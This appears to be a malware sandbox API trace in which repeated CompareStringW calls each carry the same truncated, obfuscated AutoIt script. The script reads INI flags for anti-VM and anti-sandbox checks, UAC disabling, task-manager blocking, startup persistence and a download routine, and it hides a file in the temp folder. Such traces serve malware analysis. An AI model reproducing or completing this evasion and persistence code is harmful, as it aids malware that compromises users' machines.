(Locale=0x400, dwCmpFlags=0x1, lpString1="368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="68080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not F", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not Fi", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = 